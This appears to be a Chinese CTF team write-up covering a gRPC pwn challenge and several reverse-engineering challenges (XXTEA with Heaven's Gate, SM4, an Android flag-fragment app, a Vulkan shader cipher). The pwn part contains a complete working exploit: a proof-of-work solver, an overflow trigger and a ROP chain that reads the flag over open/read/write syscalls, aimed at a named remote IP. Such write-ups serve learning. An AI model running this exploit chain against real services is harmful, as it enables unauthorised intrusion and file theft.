_sym_db.RegisterMessage(ErrorResponse)
_GGBONDSERVER = DESCRIPTOR.services_by_name['GGBondServer']
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
DESCRIPTOR._serialized_options = b'Z\t./;ggbond'
_REQUEST._serialized_start=34
_REQUEST._serialized_end=190
_RESPONSE._serialized_start=193
_RESPONSE._serialized_end=398
_WHOAMIREQUEST._serialized_start=400
_WHOAMIREQUEST._serialized_end=415
_WHOAMIRESPONSE._serialized_start=417
_WHOAMIRESPONSE._serialized_end=451
_ROLECHANGEREQUEST._serialized_start=453
_ROLECHANGEREQUEST._serialized_end=487
_ROLECHANGERESPONSE._serialized_start=489
_ROLECHANGERESPONSE._serialized_end=527
_REPEATERREQUEST._serialized_start=529
_REPEATERREQUEST._serialized_end=564
_REPEATERRESPONSE._serialized_start=566
_REPEATERRESPONSE._serialized_end=602
_ERRORRESPONSE._serialized_start=604
_ERRORRESPONSE._serialized_end=637
_GGBONDSERVER._serialized_start=639
_GGBONDSERVER._serialized_end=699
# @@protoc_insertion_point(module_scope)交互板子：
from pwn import *
import xmlrpc.client
import ggbond_pb2
# from __future__ import print_function
import logging
import grpc
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwn')
exe = context.binary = ELF(exe_path)
# libc = ELF('')
class GreeterStub(object):
"""The greeting service definition.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Request = channel.unary_unary(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond_pb2.Request.SerializeToString,
response_deserializer=ggbond_pb2.Response.FromString)
self.SayHelloStreamReply = channel.unary_stream(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond_pb2.Request.SerializeToString,
response_deserializer=ggbond_pb2.Response.FromString)
self.SayHelloBidiStream = channel.stream_stream(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond_pb2.Request.SerializeToString,
response_deserializer=ggbond_pb2.Response.FromString)
def run():
# NOTE(gRPC Python Team): .close() is possible on a channel and should be
# used in circumstances in which the with statement does not fit the needs
# of the code.
print("Will try to greet world ...")
with grpc.insecure_channel("localhost:23334") as channel:
stub = GreeterStub(channel)
req = ggbond_pb2.Request()
response = stub.Request(req)
print("Greeter client received: " + response.whoami.message)
if __name__ == "__main__":
logging.basicConfig()
run()Change role到3存在一个溢出
def role_change_req(num):
req = ggbond_pb2.Request()
req.role_change.role = num
return req
def repeate_req(msg):
req = ggbond_pb2.Request()
req.repeater.message = msg
return req
def message(type, res):
if type == 0:
print("Greeter client received: " + res.whoami.message)
elif type == 1:
print("Greeter client received: " + res.role_change.message)
else:
print("Greeter client received: " + res.repeater.message)
def run():
# NOTE(gRPC Python Team): .close() is possible on a channel and should be
# used in circumstances in which the with statement does not fit the needs
# of the code.
print("Will try to greet world ...")
with grpc.insecure_channel("localhost:23334") as channel:
stub = GreeterStub(channel)
req = stub.Request(role_change_req(3))
message(1, req)
rep = stub.Request(repeate_req("a"*0x20))
message(2, rep)
# response = stub.Request(req)溢出点是base64编码的message，写一个ROP链就行
在pow计算拿到端口号后，sleep五秒
需要在这5秒先nc 目标端口，用来接收orw的结果
然后脚本会再建立一个rpc连接，用来打
from pwn import *
import xmlrpc.client
import ggbond_pb2
import base64
import string
import itertools
import re
from pwn import *
from hashlib import sha256
# from __future__ import print_function
import logging
import grpc
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwn')
exe = context.binary = ELF(exe_path)
# libc = ELF('')
remote_ip = '1.95.2.225'
remote_port = 13337
def pow():
p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
all_combinations = [''.join(comb)
for comb in itertools.product(characters, repeat=4)]
for comb in all_combinations:
proof = comb+rev
digest = sha256(proof.encode()).hexdigest()
if target_digest == digest:
result = comb
break
p.send(result)
# p.interactive()
p.recvuntil(b' nc ')
rev = p.recvline().decode()
pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)'
result = re.search(pattern, rev)
target_ip = result.group(1)
target_port = int(result.group(2))
print("nc "+target_ip + " " + str(target_port))
sleep(5)
print(target_ip)
print(target_port)
# p.interactive()
return target_ip, target_port, p
class GreeterStub(object):
"""The greeting service definition.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Request = channel.unary_unary(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond_pb2.Request.SerializeToString,
response_deserializer=ggbond_pb2.Response.FromString)
self.SayHelloStreamReply = channel.unary_stream(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond_pb2.Request.SerializeToString,
response_deserializer=ggbond_pb2.Response.FromString)
self.SayHelloBidiStream = channel.stream_stream(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond_pb2.Request.SerializeToString,
response_deserializer=ggbond_pb2.Response.FromString)
def role_change_req(num):
req = ggbond_pb2.Request()
req.role_change.role = num
return req
def repeate_req(msg):
req = ggbond_pb2.Request()
req.repeater.message = msg
return req
def message(type, res):
if type == 0:
print("Greeter client received: " + res.whoami.message)
elif type == 1:
print("Greeter client received: " + res.role_change.message)
else:
print("Greeter client received: " + res.repeater.message)
syscall_addr = 0x000000000040452c
pop_rax = 0x00000000004101e6 # pop rax ; ret
pop_rdi = 0x0000000000401537 # pop rdi ; ret
pop_rdx = 0x0000000000461bd1 # pop rdx ; ret
pop_rsi = 0x0000000000422398 # pop rsi ; ret
# write to 0xc12000 with
rop_chain = p64(pop_rdi)
rop_chain += p64(0x7EF68D)
rop_chain += p64(pop_rsi)
rop_chain += p64(0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rax)
rop_chain += p64(2)
rop_chain += p64(syscall_addr)
rop_chain += p64(pop_rdi)
rop_chain += p64(9)
rop_chain += p64(pop_rsi)
rop_chain += p64(0xc12000)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x100)
rop_chain += p64(pop_rax)
rop_chain += p64(0)
rop_chain += p64(syscall_addr)
rop_chain += p64(pop_rdi)
rop_chain += p64(7)
rop_chain += p64(pop_rsi)
rop_chain += p64(0xc12000)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x100)
rop_chain += p64(pop_rax)
rop_chain += p64(1)
rop_chain += p64(syscall_addr)
pay = base64.b64encode(cyclic(25*8)+rop_chain)
def run(target_ip, target_port):
# NOTE(gRPC Python Team): .close() is possible on a channel and should be
# used in circumstances in which the with statement does not fit the needs
# of the code.
print("Will try to greet world ...")
with grpc.insecure_channel(target_ip+":"+str(target_port)) as channel:
stub = GreeterStub(channel)
print("11")
# sleep(3)
req = stub.Request(role_change_req(3))
message(1, req)
rep = repeate_req(pay)
rep = stub.Request(rep)
message(2, rep)
# response = stub.Request(req)
# 0x7ee053
if __name__ == "__main__":
target_ip, target_port, p = pow()
# target_ip, target_port = "127.0.0.1", 23334
# print(target_ip)
# sleep(5)
# tty = open("/dev/pts/5", 'wb', buffering=0)
# process = subprocess.Popen(['nc', target_ip, str(target_port)], stdout=tty, stderr=tty)
logging.basicConfig()
run(target_ip, target_port)
p.interactive()Reverse
Destination
win32调试相关，代码逻辑通过异常中断隐藏，输入为45字节，可能跟天堂之门有关
-20240319000906804.(null))
-20240319000907089.(null))
三个检测点0x411A80，0x411AD0, 0x411B0F绕过一下，调起来
-20240319000907274.(null))
切换位数
提取出64位的反编译结果：
void sub_0()
{
__int64 v0; // rdi
unsigned __int64 v1; // rsi
__int64 i; // r14
v0 = 0i64;
while ( 1 )
{
v1 = *(unsigned int *)(4 * v0 + 0x4234A8);
for ( i = 0i64; i != 32; ++i )
{
if ( v1 >> 31 == 1 )
v1 = (2 * (_DWORD)v1) ^ 0x84A6972F;
else
v1 = (unsigned int)(2 * v1);
}
*(_DWORD *)(4 * v0++ + 0x4234A8) = v1;
if ( v0 == 12 )
__asm { retfq }
}×2然后异或，反过来就是异或再÷2, 但是要判定是不是首位为1，要做32次这样的操作
爆破可以倒回去：这一步的爆破我在跑完了，一共跑12轮
for (unsigned int j = 0x00000000; j < 0xffffffff; j ++){
tmp = j;
for (i = 0; i < 32; i ++){
if (tmp >> 31 == 1){
tmp = (tmp << 1) ^ 0x84A6972F;
}else{
tmp = (tmp << 1);
}
}
if (tmp == a[0]){
break;
}
if (j % 1000000 == 0){
printf("[%x] \n", j);
}
}
printf("[%x] %x \n", j, tmp);中间结果如下：
> 9e549543
> 5e7cb348
> d9a84a2f
> 85eb99de
> b6825884
> c4f74ea1
> 22b1828a
> 290d7296
> 198ee473
> 9655b529
> 38ac196a
> 192b6236再这之前还有一个混淆的加密，idapython去掉花以后是逐汇编指令跳转。
key=[0x6B0E7A6B, 0x0D13011EE, 0x0A7E12C6D, 0x0C199ACA6]
不是tea
手动trace了一下，看起来大致是两层循环
004140D7 | push ebp | 后面压入栈的seh异常处理函数
00414AFE | mov ebp,esp |
00416360 | sub esp,10C |
004143A6 | push ebx |
00415AFF | push esi |
00414DE7 | push edi |
0041529D | mov dword ptr ss:[ebp-8],32 | 32:'2'
004161DF | mov dword ptr ss:[ebp-44],0 |
0041536D | mov eax,4 |4*0xb=44
00414F9B | imul ecx,eax,B |
00414183 | mov edx,dword ptr ds:[ecx+4234A8] |[ecx+4234A8]为输入的结束位置
0041589F | mov dword ptr ss:[ebp-38],edx |4234A8为输入的flag存放位置
00415442 | mov eax,dword ptr ss:[ebp-44] |eax = 0
004141EA | sub eax,5B4B9F9E |delta = 0-0x5B4B9F9E
00415091 | mov dword ptr ss:[ebp-44],eax |
00414545 | mov eax,dword ptr ss:[ebp-44] |
004146BD | shr eax,2 |
004160D9 | and eax,3 |变换delta
00414231 | mov dword ptr ss:[ebp-20],eax |
00415E62 | mov dword ptr ss:[ebp-14],0 |[ebp-14]为循环下标
00415EC6 | cmp dword ptr ss:[ebp-14],B |
00414E38 | jae destination.416302 |
00414F4E | mov eax,dword ptr ss:[ebp-14] |
004142CF | mov ecx,dword ptr ds:[eax*4+4234AC] | eax*4+4234A8+4:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00414993 | mov dword ptr ss:[ebp-2C],ecx |
004156C3 | mov eax,dword ptr ss:[ebp-38] |flag_end
00416236 | shr eax,5 |
0041629E | mov ecx,dword ptr ss:[ebp-2C] |
00416076 | shl ecx,2 |
0041663C | xor eax,ecx |
00414A97 | mov edx,dword ptr ss:[ebp-2C] |
00415F57 | shr edx,3 |
00414814 | mov ecx,dword ptr ss:[ebp-38] |
00415F19 | shl ecx,4 |
00414D7B | xor edx,ecx |
00415DDD | add eax,edx |
004145FA | mov edx,dword ptr ss:[ebp-44] |
00415002 | xor edx,dword ptr ss:[ebp-2C] |
0041504A | mov ecx,dword ptr ss:[ebp-14] |
004154FF | and ecx,3 |
0041591A | xor ecx,dword ptr ss:[ebp-20] |
004155C5 | mov ecx,dword ptr ds:[ecx*4+42309C] |
00414E97 | xor ecx,dword ptr ss:[ebp-38] |
00414CB7 | add edx,ecx |
0041658B | xor eax,edx |
004166AB | mov edx,dword ptr ss:[ebp-14] |
0041598C | mov ecx,dword ptr ds:[edx*4+4234A8] | edx*4+4234A8:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004149EB | add ecx,eax |
00416026 | mov dword ptr ss:[ebp-10C],ecx |
00415AB8 | mov edx,dword ptr ss:[ebp-14] |
00414730 | mov eax,dword ptr ss:[ebp-10C] |
00415617 | mov dword ptr ds:[edx*4+4234A8],eax | edx*4+4234A8:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00415300 | mov ecx,dword ptr ss:[ebp-10C] |
0041487F | mov dword ptr ss:[ebp-38],ecx |
00415A5F | mov eax,dword ptr ss:[ebp-14] |
004164F8 | add eax,1 |
00414287 | mov dword ptr ss:[ebp-14],eax |
00415EC6 | cmp dword ptr ss:[ebp-14],B | B:'\v'
00414E38 | jae destination.416302 |
| jmp destination.414F4E |
00416302 | mov eax,4 |
0041612E | imul ecx,eax,0 |
00416712 | mov edx,dword ptr ds:[ecx+4234A8] |
004159F7 | mov dword ptr ss:[ebp-2C],edx |
00416175 | mov eax,4 |
004165E1 | imul ecx,eax,B |
004150EE | mov edx,dword ptr ss:[ebp-38] |
0041578A | shr edx,5 |
00414ED7 | mov eax,dword ptr ss:[ebp-2C] |
00415146 | shl eax,2 |
004163B1 | xor edx,eax |
004147A4 | mov eax,dword ptr ss:[ebp-2C] |
00414B43 | shr eax,3 |
004151C2 | mov esi,dword ptr ss:[ebp-38] |
00414114 | shl esi,4 |
0041583A | xor eax,esi |
004148DF | add edx,eax |
004145B8 | mov eax,dword ptr ss:[ebp-44] |
0041648B | xor eax,dword ptr ss:[ebp-2C] |
00414932 | mov esi,dword ptr ss:[ebp-14] |
00414D29 | and esi,3 |
00415D44 | xor esi,dword ptr ss:[ebp-20] |
00415B41 | mov esi,dword ptr ds:[esi*4+42309C] |
00415721 | xor esi,dword ptr ss:[ebp-38] |
0041653F | add eax,esi |
004157CC | xor edx,eax |
00415227 | mov ecx,dword ptr ds:[ecx+4234A8] |
004153E3 | add ecx,edx |
00415FD1 | mov dword ptr ss:[ebp-10C],ecx |
00416411 | mov edx,4 |
00414662 | imul eax,edx,B |
0041434A | mov ecx,dword ptr ss:[ebp-10C] |
004143F8 | mov dword ptr ds:[eax+4234A8],ecx | eax+4234A8:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00414A3E | mov edx,dword ptr ss:[ebp-10C] |
00415BB5 | mov dword ptr ss:[ebp-38],edx |
00414BA5 | mov eax,dword ptr ss:[ebp-8] |
00414453 | sub eax,1 |
00415C1F | mov dword ptr ss:[ebp-8],eax |
004144A5 | jne destination.415442 |
004144AB | je destination.414C0A |
00414C0A | mov eax,1 |
00414C59 | pop edi |
004154B9 | pop esi |
00415C71 | pop ebx |
00415CD1 | add esp,10C |
00415D91 | mov esp,ebp |
00415E22 | pop ebp |
00414504 | ret |调试了一下，大轮是0x32，每次对所有字节加密
每一次更改4bytes，循环加
Gpt+修改后:
// 初始化变量
int round = 0x32;
int delta = 0; //44
int var_20 = 0;
int i = 0;
int var_38 = 0;
int tt = 0;
int var_10C = 0;
int array_4234A8[12] = {0}; // 假设这是一个全局数组// 主循环
do {
delta = (delta - 0x5B4B9F9E) & 0xFFFFFFFF; // 32位整数溢出
var_20 = (delta >> 2) & 3;
for (i = 0; i < 11; i++) {
tt = input[i];
int temp = var_38 >> 5 ^ tt << 2;
temp += (tt >> 3 ^ var_38 << 4) + (delta ^ tt);
temp ^= (i & 3 ^ var_20) + key[(i & 3 ^ var_20)];
input[i] = tt + temp;
}
round--;
} while (round != 0);目测应该是XXTEA。
加密测试：
-20240319000907437.(null))
正确的加密流程：
#define DELTA 0x5B4B9F9E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
rounds = 0x32;
sum = 0;
z = v[n-1];
do
{
sum -= DELTA;
e = (sum >> 2) & 3;
for (p=0; p<(unsigned)n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds); 一共跑了两次加密流程，解密应该也要2次，所以这题的流程就是2次xxtea+一个位变换。
解题脚本如下：
#include <stdio.h>
#define DELTA 0x5B4B9F9E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
typedef unsigned int uint32_t;
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
//rounds = 6 + 52/n;
rounds = 0x32;
sum = 0;
z = v[n-1];
do
{
sum += ((~DELTA)+1);
//sum-=DELTA;
e = (sum >> 2) & 3;
for (p=0; p<(unsigned)n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
//rounds = 6 + 52/n;
rounds = 0x32;
sum = rounds*((~DELTA)+1);
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= ((~DELTA)+1);
}
while (--rounds);
}
}
int main()
{
unsigned int v[] = {0x9e549543,0x5e7cb348,0xd9a84a2f,0x85eb99de,0xb6825884,0xc4f74ea1,0x22b1828a,0x290d7296,0x198ee473,0x9655b529,0x38ac196a,0x192b6236};
//unsigned int v[] = {0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x31313131,0x00000031};
unsigned int key[4] = {0x6B0E7A6B, 0x0D13011EE, 0x0A7E12C6D, 0x0C199ACA6};
btea(v, -12, key);
btea(v, -12, key);
printf("\n\n");
for(int i=0;i<12;i++)
{
printf("%x \n", v[i]);
}
for(i=0;i<12;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
//printf("%c%c%c%c",*((char*)&v[i]+3),*((char*)&v[i]+2),*((char*)&v[i]+1),*((char*)&v[i]+0));
}
return 0;
}VMT
有几个反调试 手动patch
初始化了一个结构体 放的应该是密钥和最后比较的内容
4E 30 54 68 69 73 69 53 34 46 34 6B 33 4B 33 59 N0ThisiS4F4k3K3Y
这是个假的key
36 41 36 31 45 46 32 38 31 41 37 34 37 33 44 36 6A61EF281A7473D6
42 31 42 34 33 31 44 30 33 35 31 46 37 45 32 32 B1B431D0351F7E22
34 32 43 46 42 39 44 36 45 43 34 45 30 31 45 46 42CFB9D6EC4E01EF
36 35 36 44 36 43 46 35 32 30 46 31 34 32 38 32 656D6CF520F14282
31 43 37 30 36 31 45 42 38 34 33 44 35 41 42 45 1C7061EB843D5ABE
33 37 38 42 33 39 34 43 34 44 43 31 32 39 38 42 378B394C4DC1298B 主逻辑sub_40D5A0
调试发现sm4加密的盒子
调试能获得密钥 507975305A3823624335767155466774
然后解上面那个密文就行
from pysm4 import encrypt, decrypt
nums = [0x6A61EF281A7473D6B1B431D0351F7E22,0x42CFB9D6EC4E01EF656D6CF520F14282 ,0x1C7061EB843D5ABE378B394C4DC1298B]
#cipher_num = 0x59d095290df2400614f48d276906874e
for i in nums:
cipher_num = i
mk = 0x507975305A3823624335767155466774
clear_num = decrypt(cipher_num, mk)
print(hex(clear_num)[2:].replace('L',''),end='')Fffragment
-20240319000947925.(null))
暂时无法在飞书文档外展示此内容
脚本方案
使用JEB写脚本往上回溯交叉引用，并正则提取JEB自动解密的字符串，拼接成完整的flag。
# ?description=
# ?shortcut=
import inspect
import re
from com.pnfsoftware.jeb.client.api import IClientContext, IGraphicalClientContext, IScript
from com.pnfsoftware.jeb.core import IRuntimeProject
from com.pnfsoftware.jeb.core.units.code import ICodeUnit
from com.pnfsoftware.jeb.core.units.code.java import IJavaClass, IJavaMethod, IJavaBlock, IJavaStatement
from com.pnfsoftware.jeb.core.units.code.java import IJavaSourceUnit
from com.pnfsoftware.jeb.core.units.code.android import IDexUnit, IDexDecompilerUnit
from com.pnfsoftware.jeb.core.units.code.android.dex import IDexClass, IDexMethod
from com.pnfsoftware.jeb.core.actions import ActionContext, ActionXrefsData, Actions
class TraceClassCrossRef(IScript):
def run(self, ctx):
# type: (IScript, IGraphicalClientContext) -> None
proj = ctx.getMainProject() # type: IRuntimeProject
if not isinstance(ctx, IGraphicalClientContext):
return
javaSourceUnit = ctx.getFocusedUnit() # type: IJavaSourceUnit
if not isinstance(javaSourceUnit, IJavaSourceUnit):
return
id = javaSourceUnit.getDexItem().getItemId()
self.cnt = 0
self.flag = ''
data = ActionXrefsData()
dexUnit = proj.findUnit(IDexUnit) # type: IDexUnit
javaSourceUnit = proj.findUnit(IJavaSourceUnit) # type: IJavaSourceUnit
self.traceBackRef(javaSourceUnit, dexUnit, data, id)
print ''
# print self.cnt
print self.flag
#dJevHnRnqFVAv5Xn_dk8GECOG5XO3U8MjQpqwNEnwSOK7QVI6KuWOT7UoxQxDDetge0csUHfvKClVg0rUaFKqIFTs0y3j_lor2V5pXahWTvNKnacBKda_3goK6Tts9HkIrngP5XAoejZ5MNCZ1zUHEZDt4Mc8Cczg6HiUerHy02llolLF9V0T3_NXNNoTWAWdZTir_p7FaOwt0vpHaA8QvFfTlOPhQgmeylqj1a08HRxdd38AiLSKsaaQdhyfiSHUGa8IFV8FRr9Q6wCJ_RVL2BcI3lPhrYoo2mQXZtu6Ahs_7byeQJjPDHbmjLQCBdzJeB7eYu0lCTI0bjFQFO5f0F6xOaGDsGetqsDqRDmqxWIBkmvVCrzexQtRCxHna5KxQNwmSfMxWQdynHCalrwAtjlIo9wg827PqJ4JXfwcs2_XqdO5_35nf_OjSuL_mYRl1lxmj5Aw_WnHvhkrzvWmWlHYFXDpp7CllAuuKXzNJ9JpCYixBO9B8dxmlCQTOuGvpdc4ibH1F8oXetgsnfAwqT_SO7RuKNvdgEeOk_DeYLz5U3rm46bUN2aWUX2SSa2t0WXKYPGRnMlboNEiX8MyoMoyqYxkht7qR3dEvvSW_INOt_TpxiYvE5xNh4mdYUJk9zUarmmsVTk1_zAhCtpEYGfiRqUx3sz2k6M3zB62SR98pJEqNNTW4cLjUcnFUkf7msAJQCyAkykh4mtnznpehsH3VMoBEvyI8fUF72DP5hITzMJ_FDSgf6utz71
def traceBackRef(self, javaSourceUnit, dexUnit, data, id):
# type: (IJavaSourceUnit, IDexUnit, ActionXrefsData, long) -> None
if javaSourceUnit.prepareExecution(ActionContext(javaSourceUnit, Actions.QUERY_XREFS, id), data):
for xref_addr in data.getAddresses():
decompiler = javaSourceUnit.getDecompiler() # type: IDexDecompilerUnit
className = xref_addr.split('-')[0]
methodName = xref_addr.split('+')[0]
dexClass = dexUnit.getClass(className) # type: IDexClass
javaMethod = decompiler.getMethod(methodName, False) # type: IJavaMethod
if javaMethod == None:
decompiler.decompileMethod(methodName)
javaMethod = decompiler.getMethod(methodName, False)
id = dexClass.getItemId()
# print xref_addr, methodName
# print dexClass, javaMethod
# print '<-'
self.flag = self.getSliceInMethod(javaMethod) + self.flag
print self.flag
if "MainActivity" in xref_addr:
# if self.cnt > 2:
return
self.cnt += 1
self.traceBackRef(javaSourceUnit, dexUnit, data, id)
return
def getSliceInMethod(self, javaMethod):
# type: (IJavaMethod) -> str
javaStatements = javaMethod.getStatements() # type: List[IJavaStatement]
print len(javaStatements)
for javaStatement in javaStatements:
lineText = javaStatement.toString()
match = re.search(r'.*?putString.*?"(.*?)".*?', lineText)
if match:
extracted_string = match.group(1)
return extracted_string
print 'No string found in method:', javaMethod
return ''手撕方案
手动交叉引用，找到各个类对应分支并记录，然后手动点出flag
ch0
C0257de 1
C0147ae 1
C1043xd 2
C0932ud 1
C0821rd 2
C0673od 2
C0441id 1
C0330fd 2
C0219cd 2
C1116zc 1
C1005wc 1
C0894tc 1
C0783qc 1
C0635nc 1
C0513kc 1
C0403hc 2
C0182bc 1
C1078yb 1
C0967vb 1
C0856sb 1
C0745pb 1
C0597mb 1
C0475jb 2
C0365gb 2
C0254db 1
C0144ab 1
C0929ua 2
C0818ra 2
C0670oa 2
C0548la 2
C0438ia 1
C0327fa 1
C0216ca 2
C1113z9 1
C1002w9 1
C0891t9 2
C0632n9 2
C0510k9 1
C0400h9 2
C0289e9 1
C0179b9 1
C1075y8 1
C0964v8 1
C0853s8 2
C0742p8 2
C0594m8 2
C0362g8 1
C0251d8 2
C0141a8 1
C1037x7 1
C0926u7 1
C0815r7 1
C0667o7 1
C0545l7 2
C0435i7 2
C0324f7 1
C0999w6 1
C0888t6 2
C0777q6 1
C0629n6 1
C0507k6 1
C0397h6 1
C0286e6 1
C0176b6 2
C1072y5 1
C0961v5 1
C0739p5 1
C0591m5 2
C0469j5 2
C0359g5 2
C0248d5 1
C0138a5 2
C1034x4 1
C0923u4 2
C0812r4 2
C0664o4 1
C0432i4 1
C0321f4 1
C0210c4 2
C1107z3 2
C0996w3 1
C0885t3 2
C0774q3 2
C0626n3 2
C0504k3 1
C0394h3 2
C0173b3 2
C1069y2 1
C0958v2 2
C0847s2 1
C0736p2 1
C0588m2 2
C0466j2 1
C0356g2 1
C0245d2 1
C0135a2 2
C0920u1 2
C0809r1 1
C0661o1 1
C0539l1 2
C0429i1 1
C0318f1 2
C0207c1 2
C1104z0 2
C0993w0 1
C0882t0 1
C0623n0 1
C0501k0 1
C0391h0 1
C0280e0 2
C0170b0 2
C1066y 2
C0955v 2
C0844s 1
C0733p 1
C0585m 1
C0353g 2
C0242d 1
C0132a 2
C3042oooOo 1
oOOO0 1
C3043oOo0o 2
oO000 2
ll1I 2
OooOo 1
C0580lll 1
C0122OO00O 1
C0715o0O0o 1
C0119O0000 1
C0726oOooo 2
C0717oo0o0 1
C0581lIII 1
C0710oooo0 1
C1140I111 1
C0579l1lI 2
C0079IlIl 2
C0702ooOoo 2
C0719oOo0O 2
C0705oOo0o 1
C0131O0OoO 2
C0082II1l 1
C0088Il111 1
C0103OOoOo 2
C0108O0O0o 1
C0128Ooo00 2
C0083I11 1
C0080I11I 1
C0107Ooo0O 1
C0699o00OO 2
C0728oOO00 1
C0714ooO00 2
C0698oo00O 1
C0086Il1 1
C0126OoOoo 1
C0117O0OOo 1
C0109OoOOO 1
C0646nn 1
C0524kn 1
C0414hn 2
C0303en 2
C0193bn 2
C1089yn 1
C0978vn 1
C0867sm 1
C0756pm 1
C0608mm 1
C0376gm 1
C0265dm 1
C0155am 2
C1051xl 2
C0940ul 1
C0829rl 1
C0681ol 1
C0559ll 1
C0449il 1
C0338fl 1
C1124zk 1
C1013wk 2
C0902tk 2
C0791qk 1
C0643nk 1
C0521kk 1
C0411hk 2
C0300ek 2
C0190bk 2
C1086yj 2
C0864sj 1
C0753pj 1
C0605mj 2
C0483jj 2
C0373gj 2
C0262dj 1
C0152aj 2
C1048xi 2
C0937ui 1
C0826ri 2
C0556li 1
C0446ii 2
C0335fi 2
C0224ci 1
C1121zh 2
C1010wh 1
C0899th 1
C0788qh 2
C0640nh 2
C0518kh 2
C0297eh 2
C0187bh 2
C1083yg 1
C0972vg 2
C0861sg 1
C0750pg 1
C0602mg 1
C0480jg 2
C0370gg 1
C0259dg 2
C1045xf 1
C0934uf 1
C0823rf 2
C0675of 1
C0553lf 1
C0443if 1
C0332ff 1
C0221cf 2
C1118ze 1
C1007we 2
C0785qe 1
C0637ne 2
C0515ke 2
C0405he 2
C0294ee 1
C0477jd 1
C0218cc 2
C0966va 1
C0669o9 2
C0399h8 1
C1036x6 2
C0776q5 1
C0468j4 2
C0209c3 2
C0957v1 1
C0660o0 1
C0390h 1
C0696o0Ooo 2
C0102O0ooO 2
C0118O0ooO 2
C0683on 2
C0413hm 2
C0154al 1
C0901tj 2
C0604mi 1
C0334fh 2
C1082yf 1
C0642re 1
C0893y6 1
Calculation 2ezVK
vulkan程序 资源段嵌入了对应着色器语言的二进制代码 需要逆向里面的逻辑
使用的着色器语言是GLSL
https://github.com/KhronosGroup/SPIRV-Cross
能反编译 spv 文件
#version 450
layout(local_size_x = 1, local_size_y = 1, local_size_z = 1) in;
const uint _80[5] = uint[](1214346853u, 558265710u, 559376756u, 1747010677u, 1651008801u);
layout(binding = 0, std430) buffer V
{
uint v[];
} _23;
void main()
{
uint cnt = gl_GlobalInvocationID.x * 2u;
uint sum = 0u;
uint l = _23.v[cnt];
uint r = _23.v[cnt + 1u];
for (int i = 1; i <= 40; i++)
{
l += ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + _80[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l))));
sum += 1932555628u;
r += ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + _80[(sum >> 11) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r))));
}
_23.v[cnt] = l;
_23.v[cnt + 1u] = r;
}简单的加密 求解即可
#include <iostream>
int main()
{
unsigned int l, r;
unsigned int sum = 0;
const unsigned int _80[5] = { 1214346853, 558265710, 559376756, 1747010677, 1651008801 };
unsigned int data[12] = {
0x185B72AF, 0x0631D2C6, 0xDE8B33CC, 0x31EBCD9F, 0x05DB8B33, 0x0A8D77D0, 0x865C6111, 0xBF032335,
0x722228A5, 0xAD833A57, 0xB7C3456F ,0};
l = data[0], r = data[1];
for (int i = 0; i < 5; i++)
{
l = data[2 * i], r = data[2 * i + 1];
sum = 1932555628 * 40;
for (int i = 1; i <= 40; i++)
{
r -= ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + _80[(sum >> 11) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r))));
sum -= 1932555628;
l -= ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + _80[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l))));
}
printf("%c%c%c%c", l & 0xff, (l >> 8) & 0xff, (l >> 16) & 0xff, (l >> 24) & 0xff);
printf("%c%c%c%c", r & 0xff, (r >> 8) & 0xff, (r >> 16) & 0xff, (r >> 24) & 0xff);
}
